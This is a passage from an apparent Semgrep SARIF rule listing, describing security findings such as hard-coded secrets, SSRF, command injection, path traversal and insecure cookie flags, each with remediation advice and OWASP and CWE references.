or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","id":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","name":"javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-argument.node-sequelize-hardcoded-secret-argument"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","id":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","name":"javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-goto-injection.puppeteer-goto-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.gin.command-injection.gin-command-injection.gin-command-injection-taint","id":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","name":"go.gin.command-injection.gin-command-injection.gin-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.command-injection.gin-command-injection.gin-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","id":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","name":"python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-empty-password.python-pymongo-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"help":{"markdown":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#logging)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet](https://docs.microsoft.com/en-us/azure/storage/common/storage-analytics-logging?tabs=dotnet)\n","text":"Storage Analytics logs detailed information about successful and failed requests to a storage service. This information can be used to monitor individual requests and to diagnose issues with a storage service. Requests are logged on a best-effort basis."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","id":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","name":"terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-queue-services-logging.storage-queue-services-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","id":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","name":"python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-aiofile-fastapi.tainted-path-traversal-aiofile-fastapi"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","id":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","name":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"help":{"markdown":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes","id":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","name":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.no-verify.verify-biometric-changes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","id":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","name":"java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jsch.jsch-hardcoded-secret.jsch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/arkadiyt/ssrf_filter](https://github.com/arkadiyt/ssrf_filter)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Use the `ssrf_filter` gem and guard the url construction with `SsrfFilter(...)`, or create an allowlist for approved hosts."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host","id":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","name":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false","id":"java.micronaut.audit.cookies.httponly-false.httponly-false","name":"java.micronaut.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs","id":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","name":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false","id":"java.micronaut.audit.cookies.secure-false.secure-false","name":"java.micronaut.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","id":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","name":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"help":{"markdown":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked](https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked)\n","text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","id":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","name":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection 